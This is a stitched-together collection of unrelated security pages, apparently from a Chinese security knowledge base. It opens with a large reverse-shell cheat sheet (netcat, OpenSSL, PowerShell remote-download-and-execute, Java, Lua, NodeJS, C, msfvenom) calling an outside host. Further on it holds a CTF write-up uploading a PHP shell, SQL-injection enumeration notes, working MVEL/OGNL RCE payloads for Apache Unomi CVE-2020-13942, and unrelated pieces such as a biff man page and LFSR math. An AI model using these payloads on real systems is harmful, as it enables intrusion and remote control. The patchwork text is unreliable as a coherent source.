/tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f ``` ### Netcat BusyBox ```bash rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f ``` ### Ncat ```bash ncat 10.0.0.1 4242 -e /bin/bash ncat --udp 10.0.0.1 4242 -e /bin/bash ``` ### OpenSSL Attacker: ```powershell user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242 or user@attack$ ncat --ssl -vv -l -p 4242 user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s ``` TLS-PSK (does not rely on PKI or self-signed certificates) ```bash # generate 384-bit PSK # use the generated string as a value for the two PSK variables from below openssl rand -hex 48 # server (attacker) export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT # client (victim) export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE ``` ### Powershell ```powershell powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` ```powershell powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` ```powershell powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1') ``` ### Awk ```powershell awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` ### Java ```java Runtime r = Runtime.getRuntime(); Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'"); p.waitFor(); ``` #### Java Alternative 1 ```java String host="127.0.0.1"; int port=4444; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` #### Java Alternative 2 **NOTE**: This is more stealthy ```java Thread thread = new Thread(){ public void run(){ // Reverse shell here } } thread.start(); ``` ### Telnet ```bash In Attacker machine start two listeners: nc -lvp 8080 nc -lvp 8081 In Victime machine run below command: telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081 ``` ### War ```java msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war strings reverse.war | grep jsp # in order to get the name of the file ``` ### Lua Linux only ```powershell lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');" ``` Windows and Linux ```powershell lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` ### NodeJS ```javascript (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4242, "10.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application from crashing })(); or require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242') or -var x = global.process.mainModule.require -x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash') or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` ### Groovy by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy ```java String host="10.0.0.1"; int port=4242; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` #### Groovy Alternative 1 **NOTE**: This is more stealthy ```java Thread.start { // Reverse shell here } ``` ### C Compile with `gcc /tmp/shell.c --output csh && csh` ```csharp #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int port = 4242; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); return 0; } ``` ### Dart ```java import 'dart:io'; import 'dart:convert'; main() { Socket.connect("10.0.0.1", 4242).then((socket) { socket.listen((data) { Process.start('powershell.exe', []).then((Process process) { process.stdin.writeln(new String.fromCharCodes(data).trim()); process.stdout .transform(utf8.decoder) .listen((output) { socket.write(output); }); }); }, onDone: () { socket.destroy(); }); }); } ``` ## Meterpreter Shell ### Windows Staged reverse TCP ```powershell msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe ``` ### Windows Stageless reverse TCP ```powershell msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe ``` ### Linux Staged reverse TCP ```powershell msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf ``` ### Linux Stageless reverse TCP ```powershell msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf ``` ### Other platforms ```powershell $ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe $ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war $ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py $ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh $ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl $ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php ``` ## Spawn TTY Shell In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`. ```powershell rlwrap nc 10.0.0.1 4242 rlwrap -r -f . nc 10.0.0.1 4242 -f . will make rlwrap use the current history file as a completion word list. -r Put all words seen on in- and output on the completion list. ``` Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell. :warning: OhMyZSH might break this trick, a simple `sh` is recommended > The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect ```powershell ctrl+z echo $TERM && tput lines && tput cols # for bash stty raw -echo fg # for zsh stty raw -echo; fg reset export SHELL=bash export TERM=xterm-256color stty rows <num> columns <cols> ``` or use `socat` binary to get a fully tty reverse shell ```bash socat file:`tty`,raw,echo=0 tcp-listen:12345 ``` Spawn a TTY shell from an interpreter ```powershell /bin/sh -i python3 -c 'import pty; pty.spawn("/bin/sh")' python3 -c "__import__('pty').spawn('/bin/bash')" python3 -c "__import__('subprocess').call(['/bin/bash'])" perl -e 'exec "/bin/sh";' perl: exec "/bin/sh"; perl -e 'print `/bin/bash`' ruby: exec "/bin/sh" lua: os.execute('/bin/sh') ``` - vi: `:!bash` - vi: `:set shell=/bin/bash:shell` - nmap: `!sh` - mysql: `! bash` Alternative TTY method ``` www-data@debian:/dev/shm$ su - user su: must be run from a terminal www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null www-data@debian:/dev/shm$ su - user Password: P4ssW0rD user@debian:~$ ``` ## Fully interactive reverse shell on Windows The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals. **ConPtyShell uses the function [CreatePseudoConsole()](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).** Server Side: ``` stty raw -echo; (stty size; cat) | nc -lvnp 3001 ``` Client Side: ``` IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001 ``` Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1 ## References * [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner) * [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) * [Spawning a TTY Shell](http://netsec.ws/?p=337) * [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)
sec-knowleage
# Automatic door (Web, 500p) In the task we get the source code of a webpage we can access: ```php <?php $fail = str_repeat('fail', 100); $d = 'sandbox/FAIL_' . sha1($_SERVER['REMOTE_ADDR'] . '95aca804b832f4c329d8c0e7c789b02b') . '/'; @mkdir($d); function read_ok($f) { return strstr($f, 'FAIL_') === FALSE && strstr($f, '/proc/') === FALSE && strstr($f, '/dev/') === FALSE; } function write_ok($f) { return strstr($f, '..') === FALSE && read_ok($f); } function GetDirectorySize($path) { $bytestotal = 0; $path = realpath($path); if ($path !== false && $path != '' && file_exists($path)) { foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object) { $bytestotal += $object->getSize(); } } return $bytestotal; } if (isset($_GET['action'])) { if ($_GET['action'] == 'pwd') { echo $d; exit; } else if ($_GET['action'] == 'phpinfo') { phpinfo(); exit; } else if ($_GET['action'] == 'read') { $f = $_GET['filename']; if (read_ok($f)) echo file_get_contents($d . $f); else echo $fail; exit; } else if ($_GET['action'] == 'write') { $f = $_GET['filename']; if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) { print_r($_FILES['file']); print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f)); } else echo $fail; if (GetDirectorySize($d) > 10000) { rmdir($d); } exit; } else if ($_GET['action'] == 'delete') { $f = $_GET['filename']; if (write_ok($f)) print_r(unlink($d . $f)); else echo $fail; exit; } } highlight_file(__FILE__); ``` We can read/write files and we need to get a shell. We can't save files with `ph` in same so no `.php` files for us. We've made a small script to upload files: ```python def upload_file(filename): with codecs.open(filename, "r") as f: res = requests.post( "http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=write&filename=" + filename, files={"file": f}) print(res.text) ``` It seems we can upload a `.htaccess` file with: ``` AddType application/x-httpd-php .html .htm ``` inside and the system will execute php also in html files. Now we can upload html file with a PHP shell, but according to phpinfo() most of shell-like functions are disabled. Fortunately not all of them -> http://php.net/manual/en/function.proc-open.php is still available. We run `/flag_x` as stated in the task description and we recover the flag `SECCON{f6c085facd0897b47f5f1d7687030ae7}`
sec-knowleage
# 0x00 information_schema 这个表(视图)是在MySQL5以后的才有的,现在MySQL4应该是很少了,所以都围绕着MySQL5来讲解,information_schema是用于存储数据库元数据的表,它保存了数据库名,表名,列名等信息,让我们从爆破表名到了可以直接查询。 ``` mysql> show tables; +---------------------------------------+ | Tables_in_information_schema | +---------------------------------------+ | CHARACTER_SETS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMNS | | COLUMN_PRIVILEGES | | ENGINES | | EVENTS | | FILES | | GLOBAL_STATUS | | GLOBAL_VARIABLES | | KEY_COLUMN_USAGE | | OPTIMIZER_TRACE | | PARAMETERS | | PARTITIONS | | PLUGINS | | PROCESSLIST | | PROFILING | | REFERENTIAL_CONSTRAINTS | | ROUTINES | | SCHEMATA | | SCHEMA_PRIVILEGES | | SESSION_STATUS | | SESSION_VARIABLES | | STATISTICS | | TABLES | | TABLESPACES | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | | INNODB_LOCKS | | INNODB_TRX | | INNODB_SYS_DATAFILES | | INNODB_LOCK_WAITS | | INNODB_SYS_TABLESTATS | | INNODB_CMP | | INNODB_METRICS | | INNODB_CMP_RESET | | INNODB_CMP_PER_INDEX | | INNODB_CMPMEM_RESET | | INNODB_FT_DELETED | | INNODB_BUFFER_PAGE_LRU | | INNODB_SYS_FOREIGN | | INNODB_SYS_COLUMNS | | INNODB_SYS_INDEXES | | INNODB_FT_DEFAULT_STOPWORD | | INNODB_SYS_FIELDS | | INNODB_CMP_PER_INDEX_RESET | | INNODB_BUFFER_PAGE | | INNODB_CMPMEM | | INNODB_FT_INDEX_TABLE | | INNODB_FT_BEING_DELETED | | INNODB_SYS_TABLESPACES | | INNODB_FT_INDEX_CACHE | | INNODB_SYS_FOREIGN_COLS | | INNODB_SYS_TABLES | | INNODB_BUFFER_POOL_STATS | | INNODB_FT_CONFIG | +---------------------------------------+ 59 rows in set (0.00 sec) ``` 我们经常用到的几个表 1. SCHEMATA表 : 提供了当前mysql实例中所有数据库的信息。 2. TABLES 表 : 提供了关于数据库中的表的信息。 3. COLUMNS 表 :提供了表中的列信息 SCHEMATA: ``` mysql> select * from information_schema.schemata; +--------------+--------------------+----------------------------+------------------------+----------+ | CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | +--------------+--------------------+----------------------------+------------------------+----------+ | def | information_schema | utf8 | utf8_general_ci | NULL | | def | mysql | latin1 | latin1_swedish_ci | NULL | | def | mysqltest | latin1 | latin1_swedish_ci | NULL | | def | performance_schema | utf8 | utf8_general_ci | NULL | +--------------+--------------------+----------------------------+------------------------+----------+ 4 rows in set (0.00 sec) ``` TABLES: ``` mysql> select table_name from information_schema.tables where table_schema=0x6D7973716C74657374; //注意这里不用引号就要把数据库名转为16进制 +------------+ | table_name | +------------+ | admin | +------------+ 1 row in set (0.00 sec) ``` COLUMNS: ``` mysql> select column_name from information_schema.columns where table_name=0x61646D696E; +-------------+ | column_name | +-------------+ | id | | username | | password | +-------------+ 3 rows in set (0.00 sec) ``` 我们前面说过information_schema储存的是所有数据库的信息,假如我的数据库 `mysqltest1` `mysqltest2` 都存在admin表的话 它都会显示出来 ``` mysql> select column_name from information_schema.columns where table_name=0x61646D696E; +-------------+ | column_name | +-------------+ | id | | username | | password | | id | | user | | pass | +-------------+ 6 rows in set (0.00 sec) ``` 所以要指定数据库 ``` mysql> select column_name from information_schema.columns where table_name=0x61646D696E and table_schema=0x6D7973716C74657374; +-------------+ | column_name | +-------------+ | id | | username | | password | +-------------+ 3 rows in set (0.00 sec) ``` # 0x01 MySQL user 表保存的用户密码 和host等等信息 ``` mysql> select user,password from user; +------------------+-------------------------------------------+ | user | password | +------------------+-------------------------------------------+ | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | | debian-sys-maint | *764E40048679D21BBB07CB8DDD18465359DAB4CA | +------------------+-------------------------------------------+ 5 rows in set (0.00 sec) ``` # 0x02 文末 #### 本文如有错误,请及时提醒,避免误导他人 * author:404
sec-knowleage
.\" Copyright (c) 1980, 1990 The Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" from: @(#)biff.1 6.5 (Berkeley) 3/14/91 .\" .TH BIFF 1 1999-07-31 GNU .Dd July 31, 1999 .Dt BIFF 1 .Os "Linux NetKit (0.16)" .Sh "名称 (NAME)" .Nm biff .Nd "新到邮件提醒" .Sh "总览 (SYNOPSIS)" .Nm biff .Op Cm ny .Sh "描述 (DESCRIPTION)" .Nm Biff 通知系统在当前终端会话期间有新邮件是否提醒你。 .Pp 支持的选项有 .Nm biff : .Bl -tag -width 4n .It Cm n 禁止新邮件提醒。 .It Cm y 开启新邮件提醒。 .El .Pp 当新邮件提醒开启后, 如果有邮件到达, 邮件头和邮件正文的头几行将在你的屏幕上打印出来。 通常会在 .Pa \&.login 或者 .Pa \&.profile 文件中加上一个 .Dq Li biff y 命令, 好让每次登录时自动执行。 .Pp .Nm Biff 通过 .Xr comsat 8 服务异步执行。 如果此服务没有开启, .Nm biff 就不做任何事情。 在这种情况下, 或者需要同步提醒, 用 .Xr sh 1 的 .Ar MAIL 变量, 或者 .Xr csh 1 的 .Ar mail 变量。 .Sh "参见 (SEE ALSO)" .Xr csh 1 , .Xr mail 1 , .Xr sh 1 , .Xr comsat 8 .Sh "历史 (HISTORY)" .Nm 此命令出现于 .Bx 4.0 。 .Sh "错误 (BUGS)" .Xr su 1 ,和 biff 看来并不能一起工作。 这个问题是由于 tty 任然是执行 su 命令的人所有, 这可能导致在改变你的会话的 biff 状态时出现 .Dq Li 拒绝访问错误。 .Pp 请把错误报告给 netbug@ftp.uk.linux.org。 并且附上diffs/patches, 或者编译错误日志等,尽可能完整。 .Sh "[中文版维护人]" .B 唐友 <tony_ty@263.net> .Sh "[中文版最新更新]" .B 2001/8/28 .Sh "[中国Linux论坛man手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
## sharpturn (forensics, 400p, 110 solves) > I think my SATA controller is dying. > > sharpturn.tar.xz-46753a684d909244e7d916cfb5271a95 ### PL Version `for ENG version scroll down` Dostajemy zip z czymś co może być tylko zawartością folderu `.git`. Wypakowywujemy więc sobie z niego dane (zrobiliśmy to za pomocą pythona, import zlib i zlib.decompress, ale po zastanowieniu w sumie wystarczyłby pewnie git checkout ;) ). Po chwili zauważamy że coś się nie zgadza - hash pliku sharp.cpp jest inny niż powinien. Patrzymy więc na rewizje po kolei - [rewizja pierwsza](sharp_v1_efda_efda) ma dobry hash. [Rewizja druga](sharp_v2_354e_8675)... już nie. Napisaliśmy więc [sprytny skrypt w pythonie](flipuj.py), flipujący losowe bity (domyślamy się że o to chodzi, skoro w treści zadania jest coś o umierającym kontrolerze SATA) i próbujący odkryć te które sie nie zgadzają. W ten sposób dochodzimy do [poprawnej wersji rewizji drugiej](sharp_v2_354e_354e). Niestety hash [rewizji trzeciej](sharp_v3_d961_7564) również się nie zgadza, ale poprawiamy i jego naszym bitflipperem i mamy [poprawną rewizję trzecią](sharp_v3_d961_7564). I to samo robimy przy czwartej - [plik ze złym hashem](sharp_v4_f8d0_8096) zamieniamy na [plik z dobrym hashem](sharp_v4_f8d0_f8d0). W tym momencie mamy wszystko czego potrzebujemy - faktoryzujemy sobie jeszcze liczbę jak wymaga program, i idziemy: Part1: Enter flag: flag Part2: Input 31337: 31337 Part3: Watch this: https://www.youtube.com/watch?v=PBwAxmrE194 ok Part4: C.R.E.A.M. Get da _____: money Part5: Input the two prime factors of the number 272031727027. 31357 8675311 flag{3b532e0a187006879d262141e16fa5f05f2e6752} (Warto zauważyć poczucie humoru autorów zadania, gdzie "enter flag" wymaga podania dosłownie "flag"). Flaga którą otrzymujemy jest przyjmowana przez system, więc jesteśmy kolejne 400 punktów do przodu. ### ENG Version We get a zip file with something that can only be the contents of `.git` directory. We extract the data (we did this with python, import zlib and zlib.decompress, but most likely we could have simply used git checkout ;) ). After a while we realise that something is wrong - hash of sharp.cpp file is incorrect. We check the sequence of revisions one by one - [first revision](sharp_v1_efda_efda) has a correct hash. [Second revision](sharp_v2_354e_8675)... does not. We wrote a [clever python script](flipuj.py) which flips random bits (we guess that this is the case, since the task decription mentions a broken SATA controller) and tries to figure out which are incorrect. This was we finally get to [correct version of second revision](sharp_v2_354e_354e). Unfortunately, hash of the [third revision](sharp_v3_d961_7564) is also incorrect, but we fix it with our bitflipper and we get a [correct third revision](sharp_v3_d961_7564). We do the same with fourth revision - [file with incorrect hash](sharp_v4_f8d0_8096) we turn into [file with correct hash](sharp_v4_f8d0_f8d0). Now we have almost everything we need - we also need to factor a given number, and we proceed: Part1: Enter flag: flag Part2: Input 31337: 31337 Part3: Watch this: https://www.youtube.com/watch?v=PBwAxmrE194 ok Part4: C.R.E.A.M. Get da _____: money Part5: Input the two prime factors of the number 272031727027. 31357 8675311 flag{3b532e0a187006879d262141e16fa5f05f2e6752} (Author's sense of humour is worth noting here - we were supposed to put "flag" string as an answer for a prompt "enter flag"). The flag we get is accepted so we are 400 points up.
sec-knowleage
version: '2' services: web: image: vulhub/ffmpeg:2.8.4-with-php command: php -S 0.0.0.0:8080 -t /var/www/html volumes: - ./www:/var/www/html ports: - "8080:8080"
sec-knowleage
# Apache Unomi Remote Express Language Code Execution (CVE-2020-13942) [中文版本(Chinese version)](README.zh-cn.md) Apache Unomi is a Java Open Source customer data platform, a Java server designed to manage customers, leads and visitors’ data and help personalize customers experiences. In the versions prior to 1.5.1, Apache Unomi allowed remote attackers to send malicious requests with MVEL and OGNL expressions that could contain arbitrary classes, resulting in Remote Code Execution (RCE) with the privileges of the Unomi application. ## Environment Setup Execute following commands to start an Apache Unomi server 1.5.1: ``` docker compose up -d ``` After the environment is started, you can access Unomi's API through `http://your-ip:8181` or `https://your-ip:9443`. ## Vulnerability Reproduce The vulnerability can be triggered through both ports 8181 and 9443. Execute arbitrary commands through MVEL expressions: ``` POST /context.json HTTP/1.1 Host: localhost:8181 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 483 { "filters": [ { "id": "sample", "filters": [ { "condition": { "parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");" }, "type": "profilePropertyCondition" } } ] } ], "sessionId": "sample" } ``` Execute arbitrary commands through OGNL expressions: ``` POST /context.json HTTP/1.1 Host: localhost:8181 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 1064 { "personalizations":[ { "id":"gender-test", "strategy":"matching-first", "strategyOptions":{ "fallback":"var2" }, "contents":[ { "filters":[ { "condition":{ "parameterValues":{ "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))", "comparisonOperator":"equals", "propertyValue":"male" }, "type":"profilePropertyCondition" } } ] } ] } ], "sessionId":"sample" } ``` Enter the Docker container, you can see that the command has been executed successfully: ![](1.png)
sec-knowleage
# 线性反馈移位寄存器 - LFSR ## 介绍 线性反馈移位寄存器的反馈函数一般如下 $a_{i+n}=\sum\limits_{j=1}^{n}c_ja_{i+n-j}$ 其中,$c_j$ 均在某个有限域 $F_q$ 中。 既然线性空间是一个线性变换,我们可以得知这个线性变换为 $$ \begin{align*} &\left[ a_{i+1},a_{i+2},a_{i+3}, ...,a_{i+n} \right]\\\\=&\left[ a_{i},a_{i+1},a_{i+2}, ...,a_{i+n-1} \right]\left[ \begin{matrix} 0 & 0 & \cdots & 0 & c_n \\ 1 & 0 & \cdots & 0 & c_{n-1} \\ 0 & 1 & \cdots & 0 & c_{n-2}\\\vdots & \vdots & \ddots & \vdots \\ 0 & 0 & \cdots & 1 & c_1 \\ \end{matrix} \right]\\\\=&\left[ a_{0},a_{1},a_{2}, ...,a_{n-1} \right]\left[ \begin{matrix} 0 & 0 & \cdots & 0 & c_n \\ 1 & 0 & \cdots & 0 & c_{n-1} \\ 0 & 1 & \cdots & 0 & c_{n-2}\\\vdots & \vdots & \ddots & \vdots \\ 0 & 0 & \cdots & 1 & c_1 \\ \end{matrix} \right]^{i+1} \end{align*} $$ 进而,我们可以求得其特征多项式为 $f(x)=x^n-\sum\limits_{i=1}^{n}c_ix^{n-i}$ 同时,我们定义其互反多项式为 $\overline f(x)=x^nf(\frac{1}{x})=1-\sum\limits_{i=1}^{n}c_ix^{i}$ 我们也称互反多项式为线性反馈移位寄存器的联结多项式。 这里有一些定理需要我们记一下,感兴趣的可以自行推导。 ## 特征多项式与生成函数 已知某个 n 级线性反馈移位寄存器的特征多项式,那么该序列对应的生成函数为 $A(x)=\frac{p(x)}{\overline f(x)}$ 其中,$p(x)=\sum\limits_{i=1}^{n}(c_{n-i}x^{n-i}\sum\limits_{j=1}^{i}a_jx^{j-1})$。可以看出 p(x) 完全由初始状态和反馈函数的系数决定。 ## 序列周期与生成函数 序列的的周期为其生成函数的既约真分式的分母的周期。 对于 n 级线性反馈移位寄存器,最长周期为 $2^{n}-1$(排除全零)。达到最长周期的序列一般称为 m 序列。 ## 特殊性质 - 